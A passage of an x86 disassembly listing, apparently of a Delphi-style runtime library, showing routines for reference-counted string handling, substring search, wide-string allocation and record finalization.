		cmp	ecx, ebx
		jnz	short loc_40004D32


loc_40004D0B:				; CODE XREF: sub_40004C94+53j
					; sub_40004C94+5Ej ...
		add	eax, eax
		jmp	short loc_40004D32
; ---------------------------------------------------------------------------


loc_40004D0F:				; CODE XREF: sub_40004C94+11j
		mov	edx, [edi-4]
		sub	eax, edx
		jmp	short loc_40004D32
; ---------------------------------------------------------------------------


loc_40004D16:				; CODE XREF: sub_40004C94+15j
		mov	eax, [esi-4]
		sub	eax, edx
		jmp	short loc_40004D32
; ---------------------------------------------------------------------------


loc_40004D1D:				; CODE XREF: sub_40004C94+2Fj
					; sub_40004C94+3Cj
		pop	edx
		cmp	cl, bl
		jnz	short loc_40004D32
		cmp	ch, bh
		jnz	short loc_40004D32
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_40004D32
		cmp	ch, bh


loc_40004D32:				; CODE XREF: sub_40004C94+9j
					; sub_40004C94+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40004C94	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004D38	proc near		; CODE XREF: sub_4000679C+Dp
					; sub_4000684C+Dp ...
		test	eax, eax
		jz	short locret_40004D46
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_40004D46
		lock inc dword ptr [eax-8]

locret_40004D46:			; CODE XREF: sub_40004D38+2j
					; sub_40004D38+8j
		retn
sub_40004D38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004D48	proc near		; CODE XREF: sub_40003328+46p
					; sub_40007BB4+21p ...
		test	eax, eax
		jz	short loc_40004D4E
		retn
; ---------------------------------------------------------------------------
byte_40004D4D	db 0			; DATA XREF: sub_40004D48:loc_40004D4Eo
; ---------------------------------------------------------------------------


loc_40004D4E:				; CODE XREF: sub_40004D48+2j
		mov	eax, offset byte_40004D4D
		retn
sub_40004D48	endp


; =============== S U B	R O U T	I N E =======================================



sub_40004D54	proc near		; CODE XREF: sub_40004D98j
					; sub_40004DA0j
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_40004D92
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_40004D92
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_40004948
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_40002DFC
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_40004D8F
		lock dec dword ptr [eax-8]
		jnz	short loc_40004D8F
		lea	eax, [eax-8]
		call	sub_40002C3C


loc_40004D8F:				; CODE XREF: sub_40004D54+2Bj
					; sub_40004D54+31j
		mov	edx, [ebx]
		pop	ebx


loc_40004D92:				; CODE XREF: sub_40004D54+4j
					; sub_40004D54+Aj
		mov	eax, edx
		retn
sub_40004D54	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40004D98	proc near		; CODE XREF: sub_40004DE8+9p
		jmp	sub_40004D54
sub_40004D98	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40004DA0	proc near		; CODE XREF: sub_40006958+7Ap
					; sub_40016B44+34p ...
		jmp	sub_40004D54
sub_40004DA0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004DA8	proc near		; CODE XREF: sub_40007BF8+47p
					; sub_400080B0+20p ...

arg_0		= dword	ptr  4

		push	ebx
		test	eax, eax
		jz	short loc_40004DDA
		mov	ebx, [eax-4]
		test	ebx, ebx
		jz	short loc_40004DDA
		dec	edx
		jl	short loc_40004DD2
		cmp	edx, ebx
		jge	short loc_40004DDA


loc_40004DBB:				; CODE XREF: sub_40004DA8+2Cj
		sub	ebx, edx
		test	ecx, ecx
		jl	short loc_40004DDA
		cmp	ecx, ebx
		jg	short loc_40004DD6


loc_40004DC5:				; CODE XREF: sub_40004DA8+30j
		add	edx, eax
		mov	eax, [esp+4+arg_0]
		call	sub_40004974
		jmp	short loc_40004DE3
; ---------------------------------------------------------------------------


loc_40004DD2:				; CODE XREF: sub_40004DA8+Dj
		xor	edx, edx
		jmp	short loc_40004DBB
; ---------------------------------------------------------------------------


loc_40004DD6:				; CODE XREF: sub_40004DA8+1Bj
		mov	ecx, ebx
		jmp	short loc_40004DC5
; ---------------------------------------------------------------------------


loc_40004DDA:				; CODE XREF: sub_40004DA8+3j
					; sub_40004DA8+Aj ...
		mov	eax, [esp+4+arg_0]
		call	sub_40004884


loc_40004DE3:				; CODE XREF: sub_40004DA8+28j
		pop	ebx
		retn	4
sub_40004DA8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40004DE8	proc near		; CODE XREF: sub_40014250+47p
					; sub_40014374+44p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		call	sub_40004D98
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_40004E2C
		mov	ecx, [edx-4]
		dec	esi
		jl	short loc_40004E2C
		cmp	esi, ecx
		jge	short loc_40004E2C
		test	edi, edi
		jle	short loc_40004E2C
		sub	ecx, esi
		cmp	edi, ecx
		jle	short loc_40004E12
		mov	edi, ecx


loc_40004E12:				; CODE XREF: sub_40004DE8+26j
		sub	ecx, edi
		add	edx, esi
		lea	eax, [edi+edx]
		call	sub_40002DFC
		mov	edx, [ebx]
		mov	eax, ebx
		mov	edx, [edx-4]
		sub	edx, edi
		call	sub_40004F74


loc_40004E2C:				; CODE XREF: sub_40004DE8+12j
					; sub_40004DE8+18j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40004DE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40004E30	proc near		; CODE XREF: sub_4000A1CC+240p
					; sub_40016D80+3Dp ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF0h
		test	edx, edx
		jz	short loc_40004E87
		test	eax, eax
		jz	short loc_40004E87
		mov	esi, [edx-4]
		mov	ebx, [eax-4]
		cmp	esi, ebx
		jl	short loc_40004E87
		test	ebx, ebx
		jle	short loc_40004E87
		dec	ebx
		add	esi, edx
		add	edx, ebx
		mov	[esp+18h+var_10], esi
		add	eax, ebx
		mov	[esp+18h+var_14], edx
		neg	ebx
		movzx	ecx, byte ptr [eax]
		mov	[esp+18h+var_18], ebx
		jnz	loc_40004F01
		sub	esi, 2
		mov	[esp+18h+var_C], esi


loc_40004E6F:				; CODE XREF: sub_40004E30+55j
					; sub_40004E30+7Bj
		cmp	cl, [edx]
		jz	short loc_40004EB4
		cmp	cl, [edx+1]
		jz	short loc_40004EC4
		add	edx, 2
		cmp	edx, [esp+18h+var_C]
		jb	short loc_40004E8B
		cmp	edx, [esp+18h+var_10]
		jb	short loc_40004E6F


loc_40004E87:				; CODE XREF: sub_40004E30+7j
					; sub_40004E30+Bj ...
		xor	eax, eax
		jmp	short loc_40004EBB
; ---------------------------------------------------------------------------


loc_40004E8B:				; CODE XREF: sub_40004E30+4Fj
					; sub_40004E30+75j
		cmp	cl, [edx]
		jz	short loc_40004EB4
		cmp	cl, [edx+1]
		jz	short loc_40004EC4
		cmp	cl, [edx+2]
		jz	short loc_40004EB1
		cmp	cl, [edx+3]
		jz	short loc_40004EC1
		add	edx, 4
		cmp	edx, [esp+18h+var_C]
		jb	short loc_40004E8B
		cmp	edx, [esp+18h+var_10]
		jb	short loc_40004E6F
		xor	eax, eax
		jmp	short loc_40004EBB
; ---------------------------------------------------------------------------


loc_40004EB1:				; CODE XREF: sub_40004E30+67j
		add	edx, 2


loc_40004EB4:				; CODE XREF: sub_40004E30+41j
					; sub_40004E30+5Dj
		inc	edx
		mov	eax, edx
		sub	eax, [esp+18h+var_14]


loc_40004EBB:				; CODE XREF: sub_40004E30+59j
					; sub_40004E30+7Fj
		add	esp, 10h
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40004EC1:				; CODE XREF: sub_40004E30+6Cj
		add	edx, 2


loc_40004EC4:				; CODE XREF: sub_40004E30+46j
					; sub_40004E30+62j
		add	edx, 2
		xor	eax, eax
		cmp	edx, [esp+18h+var_10]
		ja	short loc_40004ED5
		mov	eax, edx
		sub	eax, [esp+18h+var_14]


loc_40004ED5:				; CODE XREF: sub_40004E30+9Dj
		add	esp, 10h
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40004EDB:				; CODE XREF: sub_40004E30+C5j
					; sub_40004E30+E8j
		cmp	cl, [edx]
		jz	short loc_40004F54
		cmp	cl, [edx+1]
		jz	short loc_40004F27
		cmp	cl, [edx+2]
		jz	short loc_40004F51
		cmp	cl, [edx+3]
		jz	short loc_40004F24
		add	edx, 4
		cmp	edx, [esp+18h+var_C]
		jb	short loc_40004EDB
		cmp	edx, [esp+18h+var_10]
		jb	short loc_40004F08
		xor	eax, eax
		jmp	short loc_40004F4B
; ---------------------------------------------------------------------------


loc_40004F01:				; CODE XREF: sub_40004E30+32j
		sub	esi, 2
		mov	[esp+18h+var_C], esi


loc_40004F08:				; CODE XREF: sub_40004E30+CBj
					; sub_40004E30+EEj
		cmp	cl, [edx]
		jz	short loc_40004F54


loc_40004F0C:				; CODE XREF: sub_40004E30+12Fj
		cmp	cl, [edx+1]
		jz	short loc_40004F27


loc_40004F11:				; CODE XREF: sub_40004E30+103j
		add	edx, 2
		cmp	edx, [esp+18h+var_C]
		jb	short loc_40004EDB
		cmp	edx, [esp+18h+var_10]
		jb	short loc_40004F08
		xor	eax, eax
		jmp	short loc_40004F4B
; ---------------------------------------------------------------------------


loc_40004F24:				; CODE XREF: sub_40004E30+BCj
		add	edx, 2


loc_40004F27:				; CODE XREF: sub_40004E30+B2j
					; sub_40004E30+DFj
		mov	esi, [esp+18h+var_18]


loc_40004F2A:				; CODE XREF: sub_40004E30+108j
		movzx	ebx, word ptr [eax+esi]
		cmp	bx, [edx+esi+1]
		jnz	short loc_40004F11
		add	esi, 2
		jl	short loc_40004F2A
		add	edx, 2
		xor	eax, eax
		cmp	edx, [esp+18h+var_10]
		ja	short loc_40004F4B
		mov	eax, edx
		sub	eax, [esp+18h+var_14]


loc_40004F4B:				; CODE XREF: sub_40004E30+CFj
					; sub_40004E30+F2j ...
		add	esp, 10h
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40004F51:				; CODE XREF: sub_40004E30+B7j
		add	edx, 2


loc_40004F54:				; CODE XREF: sub_40004E30+ADj
					; sub_40004E30+DAj
		mov	esi, [esp+18h+var_18]


loc_40004F57:				; CODE XREF: sub_40004E30+134j
		movzx	ebx, word ptr [eax+esi]
		cmp	bx, [edx+esi]
		jnz	short loc_40004F0C
		add	esi, 2
		jl	short loc_40004F57
		inc	edx
		mov	eax, edx
		sub	eax, [esp+18h+var_14]
		add	esp, 10h
		pop	esi
		pop	ebx
		retn
sub_40004E30	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004F74	proc near		; CODE XREF: sub_40002EFC+85p
					; sub_400049E0+5Dp ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_40004FC9
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40004FAA
		cmp	dword ptr [eax-8], 1
		jnz	short loc_40004FAA
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_40002C54
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_40004FD2
; ---------------------------------------------------------------------------


loc_40004FAA:				; CODE XREF: sub_40004F74+11j
					; sub_40004F74+17j
		mov	eax, edx
		call	sub_40004948
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40004FC9
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_40004FC4
		mov	ecx, esi


loc_40004FC4:				; CODE XREF: sub_40004F74+4Cj
		call	sub_40002DFC


loc_40004FC9:				; CODE XREF: sub_40004F74+Bj
					; sub_40004F74+43j
		mov	eax, ebx
		call	sub_40004884
		mov	[ebx], edi


loc_40004FD2:				; CODE XREF: sub_40004F74+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40004F74	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_40004FE0


loc_40004FD8:				; CODE XREF: sub_40004FE0+Ej
					; sub_40005044+21j ...
		mov	al, 1
		jmp	sub_40002D50
; END OF FUNCTION CHUNK	FOR sub_40004FE0
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40004FE0	proc near		; CODE XREF: sub_400051C0+Fp

; FUNCTION CHUNK AT 40004FD8 SIZE 00000007 BYTES

		test	eax, eax
		jz	short locret_40004FF4
		push	eax
		push	0
		call	sub_40001260
		test	eax, eax
		jz	loc_40004FD8

locret_40004FF4:			; CODE XREF: sub_40004FE0+2j
		retn
sub_40004FE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004FF8	proc near		; CODE XREF: sub_400051C0+38p
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_40005004
		push	edx
		call	sub_40001270

locret_40005004:			; CODE XREF: sub_40004FF8+4j
		retn
sub_40004FF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005008	proc near		; CODE XREF: sub_40005044+6j
					; sub_40005044+11j ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_4000501C
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		call	sub_40001270
		pop	eax

locret_4000501C:			; CODE XREF: sub_40005008+4j
		retn
sub_40005008	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40005020	proc near		; CODE XREF: sub_40005314+70p
					; sub_40011524+B9p ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_40005026:				; CODE XREF: sub_40005020+1Cj
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40005038
		mov	dword ptr [ebx], 0
		push	eax
		call	sub_40001270


loc_40005038:				; CODE XREF: sub_40005020+Aj
		add	ebx, 4
		dec	esi
		jnz	short loc_40005026
		pop	esi
		pop	ebx
		retn
sub_40005020	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005044	proc near		; CODE XREF: sub_40005424+81p
					; sub_40005540+61p ...
		cmp	[eax], edx
		jz	short locret_4000506B
		test	edx, edx
		jz	sub_40005008
		mov	ecx, [edx-4]
		shr	ecx, 1
		jz	sub_40005008
		push	ecx
		push	edx
		push	eax
		call	sub_40001268
		test	eax, eax
		jz	loc_40004FD8

locret_4000506B:			; CODE XREF: sub_40005044+2j
		retn
sub_40005044	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000506C	proc near		; CODE XREF: sub_40005158:loc_40005161j
					; sub_40005674+16p

var_1014	= dword	ptr -1014h
var_1010	= byte ptr -1010h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFFCh
		mov	esi, ecx
		mov	[esp+1014h+var_1014], edx
		mov	edi, eax
		test	esi, esi
		jg	short loc_4000508E
		mov	eax, edi
		call	sub_40005008
		jmp	short loc_400050EB
; ---------------------------------------------------------------------------


loc_4000508E:				; CODE XREF: sub_4000506C+17j
		lea	ebp, [esi+1]
		cmp	ebp, 7FFh
		jge	short loc_400050C1
		push	esi
		lea	eax, [esp+1018h+var_1010]
		mov	ecx, [esp+1018h+var_1014]
		mov	edx, 7FFh
		call	sub_400049C4
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_400050C1
		lea	edx, [esp+1014h+var_1010]
		mov	eax, edi
		mov	ecx, ebx
		call	sub_400050F8
		jmp	short loc_400050EB
; ---------------------------------------------------------------------------


loc_400050C1:				; CODE XREF: sub_4000506C+2Bj
					; sub_4000506C+44j
		mov	ebx, ebp
		mov	eax, edi
		mov	edx, ebx
		call	sub_400051C0
		push	esi
		mov	eax, [edi]
		mov	ecx, [esp+1018h+var_1014]
		mov	edx, ebx
		call	sub_400049C4
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_400050E2
		xor	ebx, ebx


loc_400050E2:				; CODE XREF: sub_4000506C+72j
		mov	eax, edi
		mov	edx, ebx
		call	sub_400051C0


loc_400050EB:				; CODE XREF: sub_4000506C+20j
					; sub_4000506C+53j
		add	esp, 1004h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000506C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400050F8	proc near		; CODE XREF: sub_4000506C+4Ep
					; sub_4000511C:loc_4000514Fj ...
		test	ecx, ecx
		jz	sub_40005008
		push	eax
		push	ecx
		push	edx
		call	sub_40001260
		test	eax, eax
		jz	loc_40004FD8
		pop	edx
		push	dword ptr [edx]
		mov	[edx], eax
		call	sub_40001270
		retn
sub_400050F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000511C	proc near		; CODE XREF: sub_40011524+66p
					; sub_40011C18+60p ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_4000514F
		push	edx


loc_40005123:				; CODE XREF: sub_4000511C+21j
		cmp	cx, [edx]
		jz	short loc_40005148
		cmp	cx, [edx+2]
		jz	short loc_40005145
		cmp	cx, [edx+4]
		jz	short loc_40005142
		cmp	cx, [edx+6]
		jz	short loc_4000513F
		add	edx, 8
		jmp	short loc_40005123
; ---------------------------------------------------------------------------


loc_4000513F:				; CODE XREF: sub_4000511C+1Cj
		add	edx, 2


loc_40005142:				; CODE XREF: sub_4000511C+16j
		add	edx, 2


loc_40005145:				; CODE XREF: sub_4000511C+10j
		add	edx, 2


loc_40005148:				; CODE XREF: sub_4000511C+Aj
		mov	ecx, edx
		pop	edx
		sub	ecx, edx
		shr	ecx, 1


loc_4000514F:				; CODE XREF: sub_4000511C+4j
		jmp	sub_400050F8
sub_4000511C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005158	proc near		; CODE XREF: sub_4000D0E8+43p
					; sub_4000D158+45p ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_40005161
		mov	ecx, [edx-4]


loc_40005161:				; CODE XREF: sub_40005158+4j
		jmp	sub_4000506C
sub_40005158	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005168	proc near		; CODE XREF: sub_40005174+Ep
					; sub_400051C0+18p ...
		test	eax, eax
		jz	short locret_40005171
		mov	eax, [eax-4]
		shr	eax, 1

locret_40005171:			; CODE XREF: sub_40005168+2j
		retn
sub_40005168	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40005174	proc near		; CODE XREF: sub_40011524+78p
					; sub_400116DC+184p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_40005168
		cmp	ebx, 1
		jge	short loc_40005190
		xor	ebx, ebx
		jmp	short loc_40005197
; ---------------------------------------------------------------------------


loc_40005190:				; CODE XREF: sub_40005174+16j
		dec	ebx
		cmp	eax, ebx
		jge	short loc_40005197
		mov	ebx, eax


loc_40005197:				; CODE XREF: sub_40005174+1Aj
					; sub_40005174+1Fj
		test	edi, edi
		jge	short loc_4000519F
		xor	eax, eax
		jmp	short loc_400051A7
; ---------------------------------------------------------------------------


loc_4000519F:				; CODE XREF: sub_40005174+25j
		sub	eax, ebx
		cmp	edi, eax
		jge	short loc_400051A7
		mov	eax, edi


loc_400051A7:				; CODE XREF: sub_40005174+29j
					; sub_40005174+2Fj
		mov	edx, ebx
		add	edx, edx
		add	edx, esi
		mov	ecx, [ebp+arg_0]
		xchg	eax, ecx
		call	sub_400050F8
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_40005174	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400051C0	proc near		; CODE XREF: sub_4000506C+5Bp
					; sub_4000506C+7Ap
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, eax
		xor	ebx, ebx
		test	esi, esi
		jle	short loc_400051F4
		mov	eax, esi
		call	sub_40004FE0
		mov	ebx, eax
		mov	eax, [edi]
		call	sub_40005168
		test	eax, eax
		jle	short loc_400051F4
		cmp	esi, eax
		jge	short loc_400051E7
		mov	eax, esi


loc_400051E7:				; CODE XREF: sub_400051C0+23j
		mov	ecx, eax
		add	ecx, ecx
		mov	edx, ebx
		mov	eax, [edi]
		call	sub_40002DFC


loc_400051F4:				; CODE XREF: sub_400051C0+Bj
					; sub_400051C0+1Fj
		mov	eax, edi
		mov	edx, ebx
		call	sub_40004FF8
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400051C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005204	proc near		; CODE XREF: sub_40005234+86p
					; sub_40016280+1Dp
		xor	ecx, ecx
		push	ebx
		mov	cl, [edx+1]
		push	esi
		push	edi
		mov	ebx, eax
		lea	esi, [ecx+edx+0Ah]
		mov	edi, [ecx+edx+6]


loc_40005216:				; CODE XREF: sub_40005204+29j
		mov	edx, [esi]
		mov	eax, [esi+4]
		add	eax, ebx
		mov	edx, [edx]
		mov	ecx, 1
		call	sub_40005234
		add	esi, 8
		dec	edi
		jg	short loc_40005216
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40005204	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005234	proc near		; CODE XREF: sub_40005204+20p
					; sub_40005234+70p
		test	ecx, ecx
		jz	locret_400052C6
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	al, [esi]
		mov	dl, [esi+1]
		xor	ecx, ecx
		cmp	al, 0Ah
		jz	short loc_40005274
		cmp	al, 0Bh
		jz	short loc_40005274
		cmp	al, 0Ch
		jz	short loc_4000527E
		cmp	al, 0Dh
		jz	short loc_40005291
		cmp	al, 0Eh
		jz	short loc_400052AF
		cmp	al, 0Fh
		jz	short loc_40005274
		cmp	al, 11h
		jz	short loc_40005274
		mov	al, 2
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_40002D50
; ---------------------------------------------------------------------------


loc_40005274:				; CODE XREF: sub_40005234+1Cj
					; sub_40005234+20j ...
		mov	[ebx], ecx
		add	ebx, 4
		dec	edi
		jg	short loc_40005274
		jmp	short loc_400052C3
; ---------------------------------------------------------------------------


loc_4000527E:				; CODE XREF: sub_40005234+24j
					; sub_40005234+59j
		mov	[ebx], ecx
		mov	[ebx+4], ecx
		mov	[ebx+8], ecx
		mov	[ebx+0Ch], ecx
		add	ebx, 10h
		dec	edi
		jg	short loc_4000527E
		jmp	short loc_400052C3
; ---------------------------------------------------------------------------


loc_40005291:				; CODE XREF: sub_40005234+28j
		push	ebp
		mov	ebp, edx


loc_40005294:				; CODE XREF: sub_40005234+76j
		mov	edx, [esi+ebp+0Ah]
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	ecx, [esi+ebp+6]
		mov	edx, [edx]
		call	sub_40005234
		dec	edi
		jg	short loc_40005294
		pop	ebp
		jmp	short loc_400052C3
; ---------------------------------------------------------------------------


loc_400052AF:				; CODE XREF: sub_40005234+2Cj
		push	ebp
		mov	ebp, edx


loc_400052B2:				; CODE XREF: sub_40005234+8Cj
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	edx, esi
		call	sub_40005204
		dec	edi
		jg	short loc_400052B2
		pop	ebp


loc_400052C3:				; CODE XREF: sub_40005234+48j
					; sub_40005234+5Bj ...
		pop	edi
		pop	esi
		pop	ebx

locret_400052C6:			; CODE XREF: sub_40005234+2j
		retn
sub_40005234	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400052C8	proc near		; CODE XREF: sub_40003D4C+12p
					; sub_40005314+AFp ...
		xor	ecx, ecx
		push	ebx
		mov	cl, [edx+1]
		push	esi
		push	edi
		mov	ebx, eax
		lea	esi, [ecx+edx+0Ah]
		mov	edi, [ecx+edx+6]


loc_400052DA:				; CODE XREF: sub_400052C8+29j
		mov	edx, [esi]
		mov	eax, [esi+4]
		add	eax, ebx
		mov	edx, [edx]
		mov	ecx, 1
		call	sub_40005314
		add	esi, 8
		dec	edi
		jg	short loc_400052DA
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400052C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400052FC	proc near		; CODE XREF: sub_40005314+7Cp
		cmp	off_4001A010, 0
		jz	short loc_4000530C
		call	off_4001A010
		retn
; ---------------------------------------------------------------------------


loc_4000530C:				; CODE XREF: sub_400052FC+7j
		mov	al, 10h
		call	sub_40002D50
sub_400052FC	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40005314	proc near		; CODE XREF: sub_400052C8+20p
					; sub_40005314+99p ...
		cmp	ecx, 0
		jz	locret_400053FD
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	al, [esi]
		mov	dl, [esi+1]
		cmp	al, 0Ah
		jz	short loc_40005357
		cmp	al, 0Bh
		jz	short loc_40005374
		cmp	al, 0Ch
		jz	short loc_4000538B
		cmp	al, 0Dh
		jz	short loc_4000539A
		cmp	al, 0Eh
		jz	short loc_400053B8
		cmp	al, 0Fh
		jz	loc_400053CE
		cmp	al, 11h
		jz	loc_400053DD
		jmp	loc_400053EE
; ---------------------------------------------------------------------------


loc_40005357:				; CODE XREF: sub_40005314+1Cj
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_40005368
		call	sub_40004884
		jmp	loc_400053F9
; ---------------------------------------------------------------------------


loc_40005368:				; CODE XREF: sub_40005314+48j
		mov	edx, ecx
		call	sub_400048A8
		jmp	loc_400053F9
; ---------------------------------------------------------------------------


loc_40005374:				; CODE XREF: sub_40005314+20j
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_40005382
		call	sub_40005008
		jmp	short loc_400053F9
; ---------------------------------------------------------------------------


loc_40005382:				; CODE XREF: sub_40005314+65j
		mov	edx, ecx
		call	sub_40005020
		jmp	short loc_400053F9
; ---------------------------------------------------------------------------


loc_4000538B:				; CODE XREF: sub_40005314+24j
					; sub_40005314+82j
		mov	eax, ebx
		add	ebx, 10h
		call	sub_400052FC
		dec	edi
		jg	short loc_4000538B
		jmp	short loc_400053F9
; ---------------------------------------------------------------------------


loc_4000539A:				; CODE XREF: sub_40005314+28j
		push	ebp
		mov	ebp, edx


loc_4000539D:				; CODE XREF: sub_40005314+9Fj
		mov	edx, [esi+ebp+0Ah]
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	ecx, [esi+ebp+6]
		mov	edx, [edx]
		call	sub_40005314
		dec	edi
		jg	short loc_4000539D
		pop	ebp
		jmp	short loc_400053F9
; ---------------------------------------------------------------------------


loc_400053B8:				; CODE XREF: sub_40005314+2Cj
		push	ebp
		mov	ebp, edx


loc_400053BB:				; CODE XREF: sub_40005314+B5j
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	edx, esi
		call	sub_400052C8
		dec	edi
		jg	short loc_400053BB
		pop	ebp
		jmp	short loc_400053F9
; ---------------------------------------------------------------------------


loc_400053CE:				; CODE XREF: sub_40005314+30j
					; sub_40005314+C5j
		mov	eax, ebx
		add	ebx, 4
		call	sub_40006204
		dec	edi
		jg	short loc_400053CE
		jmp	short loc_400053F9
; ---------------------------------------------------------------------------


loc_400053DD:				; CODE XREF: sub_40005314+38j
					; sub_40005314+D6j
		mov	eax, ebx
		mov	edx, esi
		add	ebx, 4
		call	sub_40005B34
		dec	edi
		jg	short loc_400053DD
		jmp	short loc_400053F9
; ---------------------------------------------------------------------------


loc_400053EE:				; CODE XREF: sub_40005314+3Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		mov	al, 2
		jmp	sub_40002D50
; ---------------------------------------------------------------------------


loc_400053F9:				; CODE XREF: sub_40005314+4Fj
					; sub_40005314+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	eax

locret_400053FD:			; CODE XREF: sub_40005314+3j
		retn
sub_40005314	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40005400	proc near		; CODE XREF: sub_40005634+1p
					; sub_40016784+77p
		mov	ecx, 1
		jmp	sub_40005314
sub_40005400	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000540C	proc near		; CODE XREF: sub_40005424+92p
					; sub_40005540+75p
		cmp	off_4001A018, 0
		jz	short loc_4000541C
		call	off_4001A018
		retn
; ---------------------------------------------------------------------------


